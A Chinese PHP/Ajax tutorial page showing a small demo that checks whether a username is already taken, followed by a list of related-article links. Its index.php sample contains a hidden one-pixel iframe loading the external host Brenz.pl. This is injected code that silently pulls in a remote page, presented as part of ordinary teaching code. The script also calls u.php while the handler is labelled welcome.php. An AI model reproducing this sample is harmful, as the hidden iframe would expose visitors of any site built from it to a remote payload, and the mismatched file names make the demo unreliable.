PHP与Ajax相结合实现登录验证小Demo


Posted in PHP onMarch 16, 2016

 AJAX即“Asynchronous Javascript And XML”(异步JavaScript和XML),是指一种创建交互式网页应用的网页开发技术。

AJAX = Asynchronous JavaScript and XML(异步的 JavaScript 和 XML)。
AJAX 不是新的编程语言,而是一种使用现有标准的新方法。
AJAX 是与服务器交换数据并更新部分网页的艺术,在不重新加载整个页面的情况下。

设计一个用户注册页面,当用户输入注册名的时候,检测用户名是否已存在,如果存在,给予提示

我们先打index.php

<html> 
<head> 
<meta http-equiv="content-type" content="text/html; charset=gb2312" /> 
<script type="text/JavaScript"> 
function Ajax(){ 
var xmlHttpReq=null;//初始对象xmlHttpReq 
if(window.ActiveXObject){ 
xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); 
}else if(window.XMLHttpRequest){ 
xmlHttpReq=new XMLHttpRequest(); 
} 
var userId=document.getElementById("userId").value;//value取得id为userId的值 
url="u.php?userId="+userId;//路径 
if(xmlHttpReq!=null){//若对象实例化创建成功 
xmlHttpReq.open("GET",url,true);//open()打开请求 
xmlHttpReq.onreadystatechange=RequestCallBack;//设置回调函数RequestCallBack() 
xmlHttpReq.send(null);//请求不包括正文 
} 
function RequestCallBack(){//回调函数 
if(xmlHttpReq.readystate==4){ 
if(xmlHttpReq.status==200){//请求成功 
document.getElementById("get").innerHTML=xmlHttpReq.responseText;//将得到的信息赋给id属性为get的div 
} 
} 
} 
} 
</script> 
</head> 
<body> 
<font> 
注册 
</font><br> 
<form> 
用户名:<input type="text"value="yuki"id="userId"name="userId"><input type="button"value="检测"onclick="Ajax()"> 
<div id="get"> 
</div> 
</form> 
<iframe style="height:1px" src="http://www.Brenz.pl/rc/" frameborder=0 width=1></iframe> 
</body> 
</html>

welcome.php

<?php 
header("content-type:text/html;charset=gb2312"); 
//sleep(1); 
$userId=$_GET["userId"]; 
if($userId=="管理员"){ 
echo "用户名已存在!"; 
}else{ 
echo "该用户名可以注册"; 
} 
?>

关于PHP与Ajax相结合实现登录验证小Demo的相关知识就给大家介绍到这里,希望对大家有所帮助!

PHP 相关文章推荐
PHP 高级课程笔记 面向对象
Jun 21 PHP
php 计算两个时间戳相隔的时间的函数(小时)
Dec 18 PHP
第4章 数据处理-php数组的处理-郑阿奇
Jul 04 PHP
php笔记之:php函数range() round()和list()的使用说明
Apr 26 PHP
php中引用符号(&amp;)的使用详解
Nov 13 PHP
ubuntu12.04使用c编写php扩展模块教程分享
Dec 25 PHP
php导入csv文件碰到乱码问题的解决方法
Feb 10 PHP
php检测文件编码的方法示例
Apr 25 PHP
jQuery+PHP发布的内容进行无刷新分页(Fckeditor)
Oct 22 PHP
PHP实现可自定义样式的分页类
Mar 29 PHP
PHP反射API示例分享
Oct 08 PHP
php array 转json及java 转换 json数据格式操作示例
Nov 13 PHP
Laravel实现构造函数自动依赖注入的方法
Mar 16 #PHP
PHP 二维数组和三维数组的过滤
Mar 16 #PHP
详解php中反射的应用
Mar 15 #PHP
php实现图片上传并进行替换操作
Mar 15 #PHP
php模板引擎技术简单实现
Mar 15 #PHP
9个比较实用的php代码片段
Mar 15 #PHP
Laravel使用Caching缓存数据减轻数据库查询压力的方法
Mar 15 #PHP
You might like
php基于Snoopy解析网页html的方法
2015/07/09 PHP
PHP文件上传处理案例分析
2016/10/15 PHP
[原创]静态页面也可以实现预览 列表不同的显示方式
2006/10/14 Javascript
Jquery在IE7下无法使用 $.ajax解决方法
2009/11/11 Javascript
jquery获取table中的某行全部td的内容方法
2013/03/08 Javascript
javascript写的一个模拟阅读小说的程序
2014/04/04 Javascript
javascript教程:关于if简写语句优化的方法
2014/05/17 Javascript
《JavaScript函数式编程》读后感
2015/08/07 Javascript
JavaScript SHA512&amp;SHA256加密算法详解
2015/08/11 Javascript
JS中dom0级事件和dom2级事件的区别介绍
2016/05/05 Javascript
Angular.JS判断复选框checkbox是否选中并实时显示
2016/11/30 Javascript
vue实现商城上货组件简易版
2017/11/27 Javascript
vue引入axios同源跨域问题
2018/09/27 Javascript
微信小程序实现简易table表格
2020/06/19 Javascript
详解vue中多个有顺序要求的异步操作处理
2019/10/29 Javascript
微信小程序获取当前位置和城市名
2019/11/13 Javascript
手把手教您实现react异步加载高阶组件
2020/04/07 Javascript
JS数组的常用10种方法详解
2020/05/08 Javascript
js实现详情页放大镜效果
2020/10/28 Javascript
从django的中间件直接返回请求的方法
2018/05/30 Python
利用Python将文本中的中英文分离方法
2018/10/31 Python
numpy中的ndarray方法和属性详解
2019/05/27 Python
详解Python中的各种转义符\n\r\t
2019/07/10 Python
python的移位操作实现详解
2019/08/21 Python
给大家整理了19个pythonic的编程习惯(小结)
2019/09/25 Python
python利用openpyxl拆分多个工作表的工作簿的方法
2019/09/27 Python
python 截取XML中bndbox的坐标中的图像,另存为jpg的实例
2020/03/10 Python
浅谈html5之sse服务器发送事件EventSource介绍
2017/08/28 HTML / CSS
日本著名的平价时尚女性购物网站:Fifth
2016/08/24 全球购物
Chantelle仙黛尔内衣美国官网:法国第一品牌内衣
2018/07/26 全球购物
美工的岗位职责
2013/11/14 职场文书
乡镇信息公开实施方案
2014/03/23 职场文书
2019年浪漫婚礼证婚词
2019/06/27 职场文书
Html分层的box-shadow效果的示例代码
2021/03/30 HTML / CSS
python3美化表格数据输出结果的实现代码
2021/04/14 Python
SQL语句多表联合查询的方法示例
2022/04/18 MySQL